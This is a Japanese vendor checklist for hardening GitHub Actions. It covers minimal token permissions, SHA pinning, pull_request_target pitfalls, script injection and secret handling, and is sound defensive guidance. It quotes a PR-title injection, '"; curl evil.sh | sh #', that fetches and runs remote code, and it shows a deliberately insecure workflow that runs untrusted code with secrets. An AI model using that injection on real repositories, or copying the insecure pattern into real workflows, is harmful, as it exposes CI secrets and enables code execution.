コンテンツへスキップ

GitHub Actions のセキュリティ強化: チェックリスト

最終更新日

CIワークフローは、シークレットやクラウドへのアクセス権を持つ状態でコードを実行します。攻撃者はこの点を把握しており、侵害されたサードパーティ製アクションや、インジェクションされたプルリクエストのタイトルを使って認証情報を盗み出した事例があります。防御策の多くは、YAMLへの小さな変更で実現できます。このチェックリストは、各項目が取り除くリスクの大きさ順に並んでいます。

1. トークンの権限を最小限にする

ワークフローの実行ごとにGITHUB_TOKENが発行されます。デフォルトを読み取り専用に設定し、ジョブごとに必要な権限を付与してください。リポジトリまたは組織の設定で、ワークフローの権限を「リポジトリのコンテンツとパッケージの読み取り権限」に設定し、必要な権限はYAMLで宣言します:

permissions:
  contents: read

jobs:
  release:
    runs-on: ubuntu-latest
    permissions:
      contents: write      # create the release
      id-token: write      # OIDC, see below
    steps: [...]

ワークフローでpermissionsを設定すると、一覧に含めなかった権限はすべてnoneになります。トップレベルでcontents: readを設定し、必要なジョブだけ例外を設けるのが良い方法です。ワークフローYAMLチェッカーは、permissionsブロックがないワークフローを指摘します。

2. サードパーティ製アクションを完全なコミットSHAに固定する

タグやブランチは移動させることができます。2025年3月、人気のあるtj-actions/changed-filesアクションが侵害され、そのタグが、シークレットをログに出力する悪意のあるコミットを指すように変更されました(CVE-2025-30066として追跡)。タグを参照していたワークフローは攻撃者のコードを実行してしまいましたが、完全なコミットSHAに固定していたワークフローは影響を受けませんでした。

# Before
- uses: some-org/some-action@v3
# After: full 40-character SHA, version in a comment
- uses: some-org/some-action@8e5e7e5ab8b370d6c329ec480221332ada57f0ab # v3.5.2

変更不可能なのは、完全な長さのSHAだけです。GitHub自身が公開していないアクションはすべて固定し、GitHub製のアクションも固定することを検討してください。SHAで固定したアクションはDependabotで最新に保ち、バージョンを示すコメントも同期させてください(Dependabotの設定を参照)。また、リポジトリまたは組織のActions設定では、アクションを完全な長さのSHAに固定することを要求するポリシーも提供されています。お使いのプランで利用できるオプションを確認してください。

再利用可能なワークフローもコードです。同様に固定してください(uses: org/repo/.github/workflows/x.yml@<sha>)。

3. pull_request_targetには注意する

フォースから起動されるpull_requestワークフローは、読み取り専用のトークンとシークレットなしで実行されます。一方pull_request_targetは、ベースブランチのコンテキストで実行され、シークレットと書き込み権限のあるトークンを取得します。これはPRへのラベル付けには便利ですが、PRのコードをチェックアウトして実行すると危険です:

# DANGEROUS: runs untrusted code with secrets
on: pull_request_target
jobs:
  test:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}
      - run: npm ci && npm test     # attacker controls package.json scripts

Rules:

  • pull_request_targetワークフローでは、PRのヘッドにあるコードをチェックアウトしたり実行したりしないでください。
  • 両方が必要な場合は、ワークフローを2つに分けてください。1つ目は特権のないpull_requestワークフローで、ビルドとテストを行い、結果をアーティファクトとしてアップロードします。2つ目は特権を持つworkflow_runワークフローで、それらのアーティファクトを読み取り、コメントを投稿します。アーティファクトは信頼できないデータとして扱ってください。
  • 同じことは、同様に特権で実行されるissue_commentとworkflow_runにも当てはまります。

4. スクリプトインジェクションを防ぐ

式は、スクリプトが実行される前にスクリプト本文へ展開されます。攻撃者が制御できるテキストをrun:ステップに埋め込むと、攻撃者はシェルコマンドを書き込めてしまいます:

# Vulnerable: a PR titled  "; curl evil.sh | sh #  runs the payload
- run: echo "Title: ${{ github.event.pull_request.title }}"

信頼できない値は、シェルコードとして展開されない環境変数を経由して渡してください:

- run: echo "Title: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

信頼できない入力には、PRのタイトルや本文、ブランチ名、コミットメッセージ、イシューの本文、github.head_refなどが含まれます。actions/github-scriptを使う場合は、スクリプト文字列に式を埋め込む代わりに、JavaScriptでcontext.payloadから値を読み取ってください。

5. シークレットは慎重に扱う

  • 短期間で失効する認証情報を優先してください。AWSへのOIDCを使えば、保存されたアクセスキーは不要になります。
  • シークレットは環境(environment: production)単位でスコープを設定し、必須のレビュアーを指定してください。これにより、本番環境のシークレットを読み取るには承認が必要になります。
  • GitHubは登録されたシークレットをログ上でマスクしますが、マスクされるのは完全に一致する値だけです。base64のように導出または変換された値はマスクされません。これらを出力しないでください。
  • ファイルや環境変数で済む場合は、ログやプロセス一覧に現れるコマンドライン上でシークレットを渡さないでください。
  • 疑わしい場合はローテーションを行ってください。サードパーティ製アクションが侵害された場合は、そのワークフローが読み取れた可能性のあるシークレットをすべてローテーションしてください。

6. 実行できるユーザーを制限する

  • Actionsの設定で、初めて投稿するコントリビューターのワークフローと、すべての外部協力者のワークフローに承認を必須にしてください。
  • 許可するアクションは、GitHubが作成したもの、認証済みの作成者によるもの、または明示的な許可リストに限定してください。
  • CODEOWNERSで.github/workflows/を保護し、ワークフローの変更には信頼できるチームのレビューが必要になるようにしてください。
  • 保護されたブランチのみがデプロイできるように、rulesetまたはブランチ保護を使用してください。

7. セルフホストランナーの運用管理

エフェメラル(使い捨て)ランナーを使用し、パブリックリポジトリでは決して使用しないでください。また、ランナーグループは特定のリポジトリに限定してください。セルフホストランナーとGitHubホステッドランナーの比較をご覧ください。

8. ワークフローをスキャンする

静的解析ツールを使うと、これらの問題の多くを自動的に検出できます。代表的なものはzizmor、actionlint、CodeQLのActionsクエリです。CIに追加して、新しいワークフローがすべてのPRでチェックされるようにしてください:

- uses: docker://rhysd/actionlint:latest
  with:
    args: -color

そのイメージも、ダイジェストで固定してください。手動で手早く確認したい場合は、ワークフローをYAMLチェッカーに貼り付けてください。

簡単なチェックリスト

  1. デフォルトのトークン権限を読み取り専用に設定し、すべてのワークフローで明示的にpermissionsを指定する。
  2. サードパーティ製アクションを完全なSHAに固定し、Dependabotで更新する。
  3. pull_request_targetまたはworkflow_runのワークフローで、PRのヘッドをチェックアウトしない。
  4. run:スクリプト内に、信頼できない入力の${{ }}を埋め込まない。
  5. 保存されたクラウドのキーではなくOIDCを使用し、承認付きの環境単位のシークレットを使う。
  6. .github/にCODEOWNERSを設定する。
  7. CI でのワークフローリンター

よくある質問

GitHub 公式のアクションに @v4 を指定しても安全ですか?

actions/* のタグは GitHub が管理しており、広く利用されています。SHA でピン留めするほうが厳格ですが、公式アクションでそこまで行うかどうかは、お客様のリスク許容度によって判断してください。

フォークからのプルリクエストにシークレットが渡されますか?

pull_request の場合は渡されません。フォークには読み取り専用のトークンが与えられ、シークレットは利用できません。一方 pull_request_target では渡されるため、前述の注意が必要です。

Dependabot で SHA のピン留めを更新し続けられますか?

はい。dependabot.yml に github-actions エコシステムを追加してください。

最初に何をすればよいですか?

既定のパーミッションを読み取り専用に設定し、permissions: ブロックを追加してください。数分で済み、過剰なアクセス権限の最大の原因を取り除けます。

compiler.devの位置づけ

compiler.dev では、既存のワークフローをそのランナー上で実行できます。そのため、ピン留めしたアクション、最小限のトークンスコープ、OIDC といった同じ強化策が適用できます。ワークフローを移行する前に、無料の YAML チェッカー で確認してください。

このワークフローを compiler.dev で実行する カード登録不要 · 200 無料分

無料で試す